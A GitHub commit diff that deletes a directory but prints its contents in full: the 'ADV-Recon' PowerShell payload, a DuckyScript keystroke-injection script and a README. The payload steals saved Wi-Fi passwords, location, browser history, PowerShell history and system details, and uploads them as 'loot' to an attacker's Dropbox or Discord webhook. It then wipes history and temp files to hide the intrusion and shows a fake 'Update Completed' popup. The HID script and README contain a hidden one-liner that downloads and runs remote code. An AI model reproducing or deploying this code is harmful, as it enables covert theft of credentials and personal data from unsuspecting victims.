Delete Payloads/Flip-ADV-Recon directory
This commit is contained in:
I-Am-Jakoby
GitHub
parent
25fcf460e5
commit
7a3a6acbd4
3 changed files with 0 additions and 745 deletions
|
|
@ -1,588 +0,0 @@
|
|||
############################################################################################################################################################
|
||||
# | ___ _ _ _ # ,d88b.d88b #
|
||||
# Title : ADV-Recon | |_ _| __ _ _ __ ___ | | __ _ | | __ ___ | |__ _ _ # 88888888888 #
|
||||
# Author : I am Jakoby | | | / _` | | '_ ` _ \ _ | | / _` | | |/ / / _ \ | '_ \ | | | |# `Y8888888Y' #
|
||||
# Version : 2.0 | | | | (_| | | | | | | | | |_| | | (_| | | < | (_) | | |_) | | |_| |# `Y888Y' #
|
||||
# Category : Recon | |___| \__,_| |_| |_| |_| \___/ \__,_| |_|\_\ \___/ |_.__/ \__, |# `Y' #
|
||||
# Target : Windows 10,11 | |___/ # /\/|_ __/\\ #
|
||||
# Mode : HID | |\__/,| (`\ # / -\ /- ~\ #
|
||||
# | My crime is that of curiosity |_ _ |.--.) )# \ = Y =T_ = / #
|
||||
# | and yea curiosity killed the cat ( T ) / # Luther )==*(` `) ~ \ Hobo #
|
||||
# | but satisfaction brought him back (((^_(((/(((_/ # / \ / \ #
|
||||
#__________________________________|_________________________________________________________________________# | | ) ~ ( #
|
||||
# tiktok.com/@i_am_jakoby # / \ / ~ \ #
|
||||
# github.com/I-Am-Jakoby # \ / \~ ~/ #
|
||||
# twitter.com/I_Am_Jakoby # /\_/\_/\__ _/_/\_/\__~__/_/\_/\_/\_/\_/\_#
|
||||
# instagram.com/i_am_jakoby # | | | | ) ) | | | (( | | | | | |#
|
||||
# youtube.com/c/IamJakoby # | | | |( ( | | | \\ | | | | | |#
|
||||
############################################################################################################################################################
|
||||
|
||||
<#
|
||||
.SYNOPSIS
|
||||
This is an advanced recon of a target PC and exfiltration of that data.
|
||||
.DESCRIPTION
|
||||
This program gathers details from target PC to include everything you could imagine from wifi passwords to PC specs to every process running.
|
||||
All of the gather information is formatted neatly and output to a file.
|
||||
That file is then exfiltrated to cloud storage via Dropbox.
|
||||
.Link
|
||||
https://developers.dropbox.com/oauth-guide # Guide for setting up your Dropbox for uploads
|
||||
https://www.youtube.com/watch?v=Zs-1j42ySNU # My youtube tutorial on Discord Uploads
|
||||
https://www.youtube.com/watch?v=VPU7dFzpQrM # My youtube tutorial on Dropbox Uploads
|
||||
#>
|
||||
|
||||
############################################################################################################################################################
|
||||
|
||||
# MAKE LOOT FOLDER, FILE, and ZIP
|
||||
|
||||
$FolderName = "$env:USERNAME-LOOT-$(get-date -f yyyy-MM-dd_hh-mm)"
|
||||
|
||||
$FileName = "$FolderName.txt"
|
||||
|
||||
$ZIP = "$FolderName.zip"
|
||||
|
||||
New-Item -Path $env:tmp/$FolderName -ItemType Directory
|
||||
|
||||
############################################################################################################################################################
|
||||
|
||||
# Enter your access tokens below. At least one has to be provided but both can be used at the same time.
|
||||
|
||||
#$db = ""
|
||||
|
||||
#$dc = ""
|
||||
|
||||
############################################################################################################################################################
|
||||
|
||||
# Recon all User Directories
|
||||
tree $Env:userprofile /a /f >> $env:TEMP\$FolderName\tree.txt
|
||||
|
||||
# Powershell history
|
||||
Copy-Item "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" -Destination $env:TEMP\$FolderName\Powershell-History.txt
|
||||
|
||||
############################################################################################################################################################
|
||||
|
||||
function Get-fullName {
|
||||
|
||||
try {
|
||||
$fullName = (Get-LocalUser -Name $env:USERNAME).FullName
|
||||
}
|
||||
|
||||
# If no name is detected function will return $env:UserName
|
||||
|
||||
# Write Error is just for troubleshooting
|
||||
catch {Write-Error "No name was detected"
|
||||
return $env:UserName
|
||||
-ErrorAction SilentlyContinue
|
||||
}
|
||||
|
||||
return $fullName
|
||||
|
||||
}
|
||||
|
||||
$fullName = Get-fullName
|
||||
|
||||
#------------------------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
function Get-email {
|
||||
|
||||
try {
|
||||
|
||||
$email = (Get-CimInstance CIM_ComputerSystem).PrimaryOwnerName
|
||||
return $email
|
||||
}
|
||||
|
||||
# If no email is detected function will return backup message for sapi speak
|
||||
|
||||
# Write Error is just for troubleshooting
|
||||
catch {Write-Error "An email was not found"
|
||||
return "No Email Detected"
|
||||
-ErrorAction SilentlyContinue
|
||||
}
|
||||
}
|
||||
|
||||
$email = Get-email
|
||||
|
||||
|
||||
#------------------------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
function Get-GeoLocation{
|
||||
try {
|
||||
Add-Type -AssemblyName System.Device #Required to access System.Device.Location namespace
|
||||
$GeoWatcher = New-Object System.Device.Location.GeoCoordinateWatcher #Create the required object
|
||||
$GeoWatcher.Start() #Begin resolving current locaton
|
||||
|
||||
while (($GeoWatcher.Status -ne 'Ready') -and ($GeoWatcher.Permission -ne 'Denied')) {
|
||||
Start-Sleep -Milliseconds 100 #Wait for discovery.
|
||||
}
|
||||
|
||||
if ($GeoWatcher.Permission -eq 'Denied'){
|
||||
Write-Error 'Access Denied for Location Information'
|
||||
} else {
|
||||
$GeoWatcher.Position.Location | Select Latitude,Longitude #Select the relevent results.
|
||||
}
|
||||
}
|
||||
# Write Error is just for troubleshooting
|
||||
catch {Write-Error "No coordinates found"
|
||||
return "No Coordinates found"
|
||||
-ErrorAction SilentlyContinue
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
$GeoLocation = Get-GeoLocation
|
||||
|
||||
$GeoLocation = $GeoLocation -split " "
|
||||
|
||||
$Lat = $GeoLocation[0].Substring(11) -replace ".$"
|
||||
|
||||
$Lon = $GeoLocation[1].Substring(10) -replace ".$"
|
||||
|
||||
############################################################################################################################################################
|
||||
|
||||
# local-user
|
||||
|
||||
$luser=Get-WmiObject -Class Win32_UserAccount | Format-Table Caption, Domain, Name, FullName, SID | Out-String
|
||||
|
||||
############################################################################################################################################################
|
||||
|
||||
Function Get-RegistryValue($key, $value) { (Get-ItemProperty $key $value).$value }
|
||||
|
||||
$Key = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"
|
||||
$ConsentPromptBehaviorAdmin_Name = "ConsentPromptBehaviorAdmin"
|
||||
$PromptOnSecureDesktop_Name = "PromptOnSecureDesktop"
|
||||
|
||||
$ConsentPromptBehaviorAdmin_Value = Get-RegistryValue $Key $ConsentPromptBehaviorAdmin_Name
|
||||
$PromptOnSecureDesktop_Value = Get-RegistryValue $Key $PromptOnSecureDesktop_Name
|
||||
|
||||
If($ConsentPromptBehaviorAdmin_Value -Eq 0 -And $PromptOnSecureDesktop_Value -Eq 0){ $UAC = "Never notIfy" }
|
||||
|
||||
ElseIf($ConsentPromptBehaviorAdmin_Value -Eq 5 -And $PromptOnSecureDesktop_Value -Eq 0){ $UAC = "NotIfy me only when apps try to make changes to my computer(do not dim my desktop)" }
|
||||
|
||||
ElseIf($ConsentPromptBehaviorAdmin_Value -Eq 5 -And $PromptOnSecureDesktop_Value -Eq 1){ $UAC = "NotIfy me only when apps try to make changes to my computer(default)" }
|
||||
|
||||
ElseIf($ConsentPromptBehaviorAdmin_Value -Eq 2 -And $PromptOnSecureDesktop_Value -Eq 1){ $UAC = "Always notIfy" }
|
||||
|
||||
Else{ $UAC = "Unknown" }
|
||||
|
||||
############################################################################################################################################################
|
||||
|
||||
$lsass = Get-Process -Name "lsass"
|
||||
|
||||
if ($lsass.ProtectedProcess) {$lsass = "LSASS is running as a protected process."}
|
||||
|
||||
else {$lsass = "LSASS is not running as a protected process."}
|
||||
|
||||
############################################################################################################################################################
|
||||
|
||||
$StartUp = (Get-ChildItem -Path ([Environment]::GetFolderPath("Startup"))).Name
|
||||
|
||||
############################################################################################################################################################
|
||||
|
||||
# Get nearby wifi networks
|
||||
|
||||
try
|
||||
{
|
||||
$NearbyWifi = (netsh wlan show networks mode=Bssid | ?{$_ -like "SSID*" -or $_ -like "*Authentication*" -or $_ -like "*Encryption*"}).trim()
|
||||
}
|
||||
catch
|
||||
{
|
||||
$NearbyWifi="No nearby wifi networks detected"
|
||||
}
|
||||
|
||||
############################################################################################################################################################
|
||||
|
||||
# Get info about pc
|
||||
|
||||
# Get IP / Network Info
|
||||
|
||||
try{$computerPubIP=(Invoke-WebRequest ipinfo.io/ip -UseBasicParsing).Content}
|
||||
catch{$computerPubIP="Error getting Public IP"}
|
||||
|
||||
try{$localIP = Get-NetIPAddress -InterfaceAlias "*Ethernet*","*Wi-Fi*" -AddressFamily IPv4 | Select InterfaceAlias, IPAddress, PrefixOrigin | Out-String}
|
||||
catch{$localIP = "Error getting local IP"}
|
||||
|
||||
$MAC = Get-NetAdapter -Name "*Ethernet*","*Wi-Fi*"| Select Name, MacAddress, Status | Out-String
|
||||
|
||||
# Check RDP
|
||||
|
||||
if ((Get-ItemProperty "hklm:\System\CurrentControlSet\Control\Terminal Server").fDenyTSConnections -eq 0) {
|
||||
$RDP = "RDP is Enabled"
|
||||
} else {
|
||||
$RDP = "RDP is NOT enabled"
|
||||
}
|
||||
|
||||
############################################################################################################################################################
|
||||
|
||||
#Get System Info
|
||||
$computerSystem = Get-CimInstance CIM_ComputerSystem
|
||||
|
||||
$computerName = $computerSystem.Name
|
||||
|
||||
$computerModel = $computerSystem.Model
|
||||
|
||||
$computerManufacturer = $computerSystem.Manufacturer
|
||||
|
||||
$computerBIOS = Get-CimInstance CIM_BIOSElement | Out-String
|
||||
|
||||
$computerOs=(Get-WMIObject win32_operatingsystem) | Select Caption, Version | Out-String
|
||||
|
||||
$computerCpu=Get-WmiObject Win32_Processor | select DeviceID, Name, Caption, Manufacturer, MaxClockSpeed, L2CacheSize, L2CacheSpeed, L3CacheSize, L3CacheSpeed | Format-List | Out-String
|
||||
|
||||
$computerMainboard=Get-WmiObject Win32_BaseBoard | Format-List | Out-String
|
||||
|
||||
$computerRamCapacity=Get-WmiObject Win32_PhysicalMemory | Measure-Object -Property capacity -Sum | % { "{0:N1} GB" -f ($_.sum / 1GB)} | Out-String
|
||||
|
||||
$computerRam=Get-WmiObject Win32_PhysicalMemory | select DeviceLocator, @{Name="Capacity";Expression={ "{0:N1} GB" -f ($_.Capacity / 1GB)}}, ConfiguredClockSpeed, ConfiguredVoltage | Format-Table | Out-String
|
||||
|
||||
############################################################################################################################################################
|
||||
|
||||
$ScheduledTasks = Get-ScheduledTask
|
||||
|
||||
############################################################################################################################################################
|
||||
|
||||
$klist = klist sessions
|
||||
|
||||
############################################################################################################################################################
|
||||
|
||||
$RecentFiles = Get-ChildItem -Path $env:USERPROFILE -Recurse -File | Sort-Object LastWriteTime -Descending | Select-Object -First 50 FullName, LastWriteTime
|
||||
|
||||
############################################################################################################################################################
|
||||
|
||||
# Get HDDs
|
||||
$driveType = @{
|
||||
2="Removable disk "
|
||||
3="Fixed local disk "
|
||||
4="Network disk "
|
||||
5="Compact disk "}
|
||||
$Hdds = Get-WmiObject Win32_LogicalDisk | select DeviceID, VolumeName, @{Name="DriveType";Expression={$driveType.item([int]$_.DriveType)}}, FileSystem,VolumeSerialNumber,@{Name="Size_GB";Expression={"{0:N1} GB" -f ($_.Size / 1Gb)}}, @{Name="FreeSpace_GB";Expression={"{0:N1} GB" -f ($_.FreeSpace / 1Gb)}}, @{Name="FreeSpace_percent";Expression={"{0:N1}%" -f ((100 / ($_.Size / $_.FreeSpace)))}} | Format-Table DeviceID, VolumeName,DriveType,FileSystem,VolumeSerialNumber,@{ Name="Size GB"; Expression={$_.Size_GB}; align="right"; }, @{ Name="FreeSpace GB"; Expression={$_.FreeSpace_GB}; align="right"; }, @{ Name="FreeSpace %"; Expression={$_.FreeSpace_percent}; align="right"; } | Out-String
|
||||
|
||||
#Get - Com & Serial Devices
|
||||
$COMDevices = Get-Wmiobject Win32_USBControllerDevice | ForEach-Object{[Wmi]($_.Dependent)} | Select-Object Name, DeviceID, Manufacturer | Sort-Object -Descending Name | Format-Table | Out-String -width 250
|
||||
|
||||
############################################################################################################################################################
|
||||
|
||||
# Get Network Interfaces
|
||||
$NetworkAdapters = Get-WmiObject Win32_NetworkAdapterConfiguration | where { $_.MACAddress -notlike $null } | select Index, Description, IPAddress, DefaultIPGateway, MACAddress | Format-Table Index, Description, IPAddress, DefaultIPGateway, MACAddress | Out-String -width 250
|
||||
|
||||
$wifiProfiles = (netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Key Content\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize | Out-String
|
||||
|
||||
############################################################################################################################################################
|
||||
|
||||
# process first
|
||||
$process=Get-WmiObject win32_process | select Handle, ProcessName, ExecutablePath, CommandLine | Sort-Object ProcessName | Format-Table Handle, ProcessName, ExecutablePath, CommandLine | Out-String -width 250
|
||||
|
||||
# Get Listeners / ActiveTcpConnections
|
||||
$listener = Get-NetTCPConnection | select @{Name="LocalAddress";Expression={$_.LocalAddress + ":" + $_.LocalPort}}, @{Name="RemoteAddress";Expression={$_.RemoteAddress + ":" + $_.RemotePort}}, State, AppliedSetting, OwningProcess
|
||||
$listener = $listener | foreach-object {
|
||||
$listenerItem = $_
|
||||
$processItem = ($process | where { [int]$_.Handle -like [int]$listenerItem.OwningProcess })
|
||||
new-object PSObject -property @{
|
||||
"LocalAddress" = $listenerItem.LocalAddress
|
||||
"RemoteAddress" = $listenerItem.RemoteAddress
|
||||
"State" = $listenerItem.State
|
||||
"AppliedSetting" = $listenerItem.AppliedSetting
|
||||
"OwningProcess" = $listenerItem.OwningProcess
|
||||
"ProcessName" = $processItem.ProcessName
|
||||
}
|
||||
} | select LocalAddress, RemoteAddress, State, AppliedSetting, OwningProcess, ProcessName | Sort-Object LocalAddress | Format-Table | Out-String -width 250
|
||||
|
||||
# service
|
||||
$service=Get-WmiObject win32_service | select State, Name, DisplayName, PathName, @{Name="Sort";Expression={$_.State + $_.Name}} | Sort-Object Sort | Format-Table State, Name, DisplayName, PathName | Out-String -width 250
|
||||
|
||||
# installed software (get uninstaller)
|
||||
$software=Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | where { $_.DisplayName -notlike $null } | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Sort-Object DisplayName | Format-Table -AutoSize | Out-String -width 250
|
||||
|
||||
# drivers
|
||||
$drivers=Get-WmiObject Win32_PnPSignedDriver| where { $_.DeviceName -notlike $null } | select DeviceName, FriendlyName, DriverProviderName, DriverVersion | Out-String -width 250
|
||||
|
||||
# videocard
|
||||
$videocard=Get-WmiObject Win32_VideoController | Format-Table Name, VideoProcessor, DriverVersion, CurrentHorizontalResolution, CurrentVerticalResolution | Out-String -width 250
|
||||
|
||||
|
||||
############################################################################################################################################################
|
||||
|
||||
# OUTPUTS RESULTS TO LOOT FILE
|
||||
|
||||
$output = @"
|
||||
|
||||
############################################################################################################################################################
|
||||
# | ___ _ _ _ # ,d88b.d88b #
|
||||
# Title : ADV-Recon | |_ _| __ _ _ __ ___ | | __ _ | | __ ___ | |__ _ _ # 88888888888 #
|
||||
# Author : I am Jakoby | | | / _' | | '_ ' _ \ _ | | / _' | | |/ / / _ \ | '_ \ | | | |# 'Y8888888Y' #
|
||||
# Version : 2.0 | | | | (_| | | | | | | | | |_| | | (_| | | < | (_) | | |_) | | |_| |# 'Y888Y' #
|
||||
# Category : Recon | |___| \__,_| |_| |_| |_| \___/ \__,_| |_|\_\ \___/ |_.__/ \__, |# 'Y' #
|
||||
# Target : Windows 10,11 | |___/ # /\/|_ __/\\ #
|
||||
# Mode : HID | |\__/,| ('\ # / -\ /- ~\ #
|
||||
# | My crime is that of curiosity |_ _ |.--.) )# \ = Y =T_ = / #
|
||||
# | and yea curiosity killed the cat ( T ) / # Luther )==*(' ') ~ \ Hobo #
|
||||
# | but satisfaction brought him back (((^_(((/(((_/ # / \ / \ #
|
||||
#__________________________________|_________________________________________________________________________# | | ) ~ ( #
|
||||
# tiktok.com/@i_am_jakoby # / \ / ~ \ #
|
||||
# github.com/I-Am-Jakoby # \ / \~ ~/ #
|
||||
# twitter.com/I_Am_Jakoby # /\_/\_/\__ _/_/\_/\__~__/_/\_/\_/\_/\_/\_#
|
||||
# instagram.com/i_am_jakoby # | | | | ) ) | | | (( | | | | | |#
|
||||
# youtube.com/c/IamJakoby # | | | |( ( | | | \\ | | | | | |#
|
||||
############################################################################################################################################################
|
||||
|
||||
|
||||
Full Name: $fullName
|
||||
|
||||
Email: $email
|
||||
|
||||
GeoLocation:
|
||||
Latitude: $Lat
|
||||
Longitude: $Lon
|
||||
|
||||
------------------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
Local Users:
|
||||
$luser
|
||||
|
||||
------------------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
UAC State:
|
||||
$UAC
|
||||
|
||||
LSASS State:
|
||||
$lsass
|
||||
|
||||
RDP State:
|
||||
$RDP
|
||||
|
||||
------------------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
Public IP:
|
||||
$computerPubIP
|
||||
|
||||
Local IPs:
|
||||
$localIP
|
||||
|
||||
MAC:
|
||||
$MAC
|
||||
|
||||
------------------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
Computer Name:
|
||||
$computerName
|
||||
|
||||
Model:
|
||||
$computerModel
|
||||
|
||||
Manufacturer:
|
||||
$computerManufacturer
|
||||
|
||||
BIOS:
|
||||
$computerBIOS
|
||||
|
||||
OS:
|
||||
$computerOs
|
||||
|
||||
CPU:
|
||||
$computerCpu
|
||||
|
||||
Mainboard:
|
||||
$computerMainboard
|
||||
|
||||
Ram Capacity:
|
||||
$computerRamCapacity
|
||||
|
||||
Total installed Ram:
|
||||
$computerRam
|
||||
|
||||
Video Card:
|
||||
$videocard
|
||||
|
||||
------------------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
Contents of Start Up Folder:
|
||||
$StartUp
|
||||
|
||||
------------------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
Scheduled Tasks:
|
||||
$ScheduledTasks
|
||||
|
||||
------------------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
Logon Sessions:
|
||||
$klist
|
||||
|
||||
------------------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
Recent Files:
|
||||
$RecentFiles
|
||||
|
||||
------------------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
Hard-Drives:
|
||||
$Hdds
|
||||
|
||||
COM Devices:
|
||||
$COMDevices
|
||||
|
||||
------------------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
Network Adapters:
|
||||
$NetworkAdapters
|
||||
|
||||
------------------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
Nearby Wifi:
|
||||
$NearbyWifi
|
||||
|
||||
Wifi Profiles:
|
||||
$wifiProfiles
|
||||
|
||||
------------------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
Process:
|
||||
$process
|
||||
|
||||
------------------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
Listeners:
|
||||
$listener
|
||||
|
||||
------------------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
Services:
|
||||
$service
|
||||
|
||||
------------------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
Installed Software:
|
||||
$software
|
||||
|
||||
------------------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
Drivers:
|
||||
$drivers
|
||||
|
||||
------------------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
"@
|
||||
|
||||
$output > $env:TEMP\$FolderName/computerData.txt
|
||||
|
||||
############################################################################################################################################################
|
||||
|
||||
function Get-BrowserData {
|
||||
|
||||
[CmdletBinding()]
|
||||
param (
|
||||
[Parameter (Position=1,Mandatory = $True)]
|
||||
[string]$Browser,
|
||||
[Parameter (Position=1,Mandatory = $True)]
|
||||
[string]$DataType
|
||||
)
|
||||
|
||||
$Regex = '(http|https)://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)*?'
|
||||
|
||||
if ($Browser -eq 'chrome' -and $DataType -eq 'history' ) {$Path = "$Env:USERPROFILE\AppData\Local\Google\Chrome\User Data\Default\History"}
|
||||
elseif ($Browser -eq 'chrome' -and $DataType -eq 'bookmarks' ) {$Path = "$Env:USERPROFILE\AppData\Local\Google\Chrome\User Data\Default\Bookmarks"}
|
||||
elseif ($Browser -eq 'edge' -and $DataType -eq 'history' ) {$Path = "$Env:USERPROFILE\AppData\Local\Microsoft/Edge/User Data/Default/History"}
|
||||
elseif ($Browser -eq 'edge' -and $DataType -eq 'bookmarks' ) {$Path = "$env:USERPROFILE/AppData/Local/Microsoft/Edge/User Data/Default/Bookmarks"}
|
||||
elseif ($Browser -eq 'firefox' -and $DataType -eq 'history' ) {$Path = "$Env:USERPROFILE\AppData\Roaming\Mozilla\Firefox\Profiles\*.default-release\places.sqlite"}
|
||||
|
||||
|
||||
$Value = Get-Content -Path $Path | Select-String -AllMatches $regex |% {($_.Matches).Value} |Sort -Unique
|
||||
$Value | ForEach-Object {
|
||||
$Key = $_
|
||||
if ($Key -match $Search){
|
||||
New-Object -TypeName PSObject -Property @{
|
||||
User = $env:UserName
|
||||
Browser = $Browser
|
||||
DataType = $DataType
|
||||
Data = $_
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Get-BrowserData -Browser "edge" -DataType "history" >> $env:TMP\$FolderName\BrowserData.txt
|
||||
|
||||
Get-BrowserData -Browser "edge" -DataType "bookmarks" >> $env:TMP\$FolderName\BrowserData.txt
|
||||
|
||||
Get-BrowserData -Browser "chrome" -DataType "history" >> $env:TMP\$FolderName\BrowserData.txt
|
||||
|
||||
Get-BrowserData -Browser "chrome" -DataType "bookmarks" >> $env:TMP\$FolderName\BrowserData.txt
|
||||
|
||||
Get-BrowserData -Browser "firefox" -DataType "history" >> $env:TMP\$FolderName\BrowserData.txt
|
||||
|
||||
############################################################################################################################################################
|
||||
|
||||
Compress-Archive -Path $env:tmp/$FolderName -DestinationPath $env:tmp/$ZIP
|
||||
|
||||
# Upload output file to dropbox
|
||||
|
||||
function dropbox {
|
||||
$TargetFilePath="/$ZIP"
|
||||
$SourceFilePath="$env:TEMP\$ZIP"
|
||||
$arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }'
|
||||
$authorization = "Bearer " + $db
|
||||
$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
|
||||
$headers.Add("Authorization", $authorization)
|
||||
$headers.Add("Dropbox-API-Arg", $arg)
|
||||
$headers.Add("Content-Type", 'application/octet-stream')
|
||||
Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers
|
||||
}
|
||||
|
||||
if (-not ([string]::IsNullOrEmpty($db))){dropbox}
|
||||
|
||||
############################################################################################################################################################
|
||||
|
||||
function Upload-Discord {
|
||||
|
||||
[CmdletBinding()]
|
||||
param (
|
||||
[parameter(Position=0,Mandatory=$False)]
|
||||
[string]$file,
|
||||
[parameter(Position=1,Mandatory=$False)]
|
||||
[string]$text
|
||||
)
|
||||
|
||||
$hookurl = "$dc"
|
||||
|
||||
$Body = @{
|
||||
'username' = $env:username
|
||||
'content' = $text
|
||||
}
|
||||
|
||||
if (-not ([string]::IsNullOrEmpty($text))){
|
||||
Invoke-RestMethod -ContentType 'Application/Json' -Uri $hookurl -Method Post -Body ($Body | ConvertTo-Json)};
|
||||
|
||||
if (-not ([string]::IsNullOrEmpty($file))){curl.exe -F "file1=@$file" $hookurl}
|
||||
}
|
||||
|
||||
if (-not ([string]::IsNullOrEmpty($dc))){Upload-Discord -file "$env:tmp/$ZIP"}
|
||||
|
||||
|
||||
|
||||
############################################################################################################################################################
|
||||
|
||||
<#
|
||||
.NOTES
|
||||
This is to clean up behind you and remove any evidence to prove you were there
|
||||
#>
|
||||
|
||||
# Delete contents of Temp folder
|
||||
|
||||
rm $env:TEMP\* -r -Force -ErrorAction SilentlyContinue
|
||||
|
||||
# Delete run box history
|
||||
|
||||
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f
|
||||
|
||||
# Delete powershell history
|
||||
|
||||
Remove-Item (Get-PSreadlineOption).HistorySavePath
|
||||
|
||||
# Deletes contents of recycle bin
|
||||
|
||||
Clear-RecycleBin -Force -ErrorAction SilentlyContinue
|
||||
|
||||
|
||||
############################################################################################################################################################
|
||||
|
||||
# Popup message to signal the payload is done
|
||||
|
||||
$done = New-Object -ComObject Wscript.Shell;$done.Popup("Update Completed",1)
|
||||
|
|
@ -1,12 +0,0 @@
|
|||
REM Title: ADV-Recon
|
||||
|
||||
REM Author: I am Jakoby
|
||||
|
||||
REM Description: This payload is meant to do an advanced recon of the target's PC. See README.md file for more details.
|
||||
|
||||
REM Target: Windows 10, 11
|
||||
|
||||
GUI r
|
||||
DELAY 500
|
||||
STRING powershell -w h -NoP -Ep Bypass $dc='';$db='';irm jakoby.lol/9nb | iex
|
||||
ENTER
|
||||
|
|
@ -1,145 +0,0 @@
|
|||
|
||||
|
||||
<!-- TABLE OF CONTENTS -->
|
||||
<details>
|
||||
<summary>Table of Contents</summary>
|
||||
<ol>
|
||||
<li><a href="#Description">Description</a></li>
|
||||
<li><a href="#getting-started">Getting Started</a></li>
|
||||
<li><a href="#Contributing">Contributing</a></li>
|
||||
<li><a href="#Version-History">Version History</a></li>
|
||||
<li><a href="#Contact">Contact</a></li>
|
||||
<li><a href="#Acknowledgments">Acknowledgments</a></li>
|
||||
</ol>
|
||||
</details>
|
||||
|
||||
# ADV-Recon
|
||||
|
||||
A script used to do an advanced level of recon on the target's computer.
|
||||
|
||||
Version 2 no longer requires you to host your own version of the script.
|
||||
|
||||
Modifying the execution script is the only necessary interaction.
|
||||
|
||||
## Description
|
||||
|
||||
This program enumerates a target PC to collect as much recon data as possible for future engagements. This includes:
|
||||
|
||||
* Hosts PowerShell Version (to know what commands can be run)
|
||||
* Name associated with their Microsoft account (Or ENV UserName variable if one is not detected)
|
||||
* Whether they are in the Admin group or not
|
||||
* The email associated with their Microsoft account (for phishing possibilities)
|
||||
* Other User accounts on their system (for possible privilege escalation)
|
||||
* Details on their login settings (Ex: Min/Max password age and length)
|
||||
* How many days since they have changed their password (Max password age - Days since = Opportunity)
|
||||
* Their GeoLocation (know their approximate where abouts)
|
||||
* Nearby Wifi Networks (Possible lateral movement)
|
||||
* Network Info (Local and Public IP Address; MAC Address; RDP Enabled?)
|
||||
* WLAN Profiles (List of SSIDs and Passwords stored on their PC)
|
||||
* Network Interfaces (What are they connecting in and out with)
|
||||
* System Information (Manufacturer, Model, Serial Number, OS, CPU, RAM, Mainboard BIOS)
|
||||
* Local Users (Accounts on system with Username, name associated with microsoft account and SID)
|
||||
* Information on their hard drives (Indicator of Recon Scope)
|
||||
* COM and Serial Devices (Is there a device connected you can manipulate?)
|
||||
* Active TCP Connections (Poor mans Port Scanning)
|
||||
* Processes, Services, Software, and Drivers (What is running on the computer we can exploit?)
|
||||
* Video Card info (how much vroom vroom?)
|
||||
* Tree Command (Gain a more accurate assessment of what to exfil or use in Phishing attacks)
|
||||
|
||||
## Getting Started
|
||||
|
||||
### Dependencies
|
||||
|
||||
* Dropbox or Discord
|
||||
* Windows 10,11
|
||||
|
||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||
|
||||
### Executing program
|
||||
|
||||
* Plug in your device
|
||||
* Invoke-WebRequest will be entered in the Run Box to download and execute the script from memory
|
||||
|
||||
`$dc` is the variable that stores your discord webhook
|
||||
|
||||
`$db` is the variable that stores your dropbox token
|
||||
|
||||
Fill in either or both of these two methods to exfil your collected data
|
||||
|
||||
```
|
||||
powershell -w h -NoP -Ep Bypass $dc='';$db='';irm jakoby.lol/9nb | iex
|
||||
```
|
||||
|
||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||
|
||||
## Contributing
|
||||
|
||||
All contributors names will be listed here
|
||||
|
||||
I am Jakoby
|
||||
|
||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||
|
||||
## Version History
|
||||
|
||||
* 0.1
|
||||
* Initial Release
|
||||
|
||||
* 0.2
|
||||
* Added additional data queries
|
||||
* Optimized output of data
|
||||
|
||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||
|
||||
<!-- CONTACT -->
|
||||
## Contact
|
||||
|
||||
<h2 align="center">📱 My Socials 📱</h2>
|
||||
<div align=center>
|
||||
<table>
|
||||
<tr>
|
||||
<td align="center" width="96">
|
||||
<a href="https://youtube.com/c/IamJakoby?sub_confirmation=1">
|
||||
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/youtube-svgrepo-com.svg width="48" height="48" alt="C#" />
|
||||
</a>
|
||||
<br>YouTube
|
||||
</td>
|
||||
<td align="center" width="96">
|
||||
<a href="https://twitter.com/I_Am_Jakoby">
|
||||
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/twitter.png width="48" height="48" alt="Python" />
|
||||
</a>
|
||||
<br>Twitter
|
||||
</td>
|
||||
<td align="center" width="96">
|
||||
<a href="https://www.instagram.com/i_am_jakoby/">
|
||||
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/insta.png width="48" height="48" alt="Golang" />
|
||||
</a>
|
||||
<br>Instagram
|
||||
</td>
|
||||
<td align="center" width="96">
|
||||
<a href="https://discord.gg/MYYER2ZcJF">
|
||||
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/discord-v2-svgrepo-com.svg width="48" height="48" alt="Jsonnet" />
|
||||
</a>
|
||||
<br>Discord
|
||||
</td>
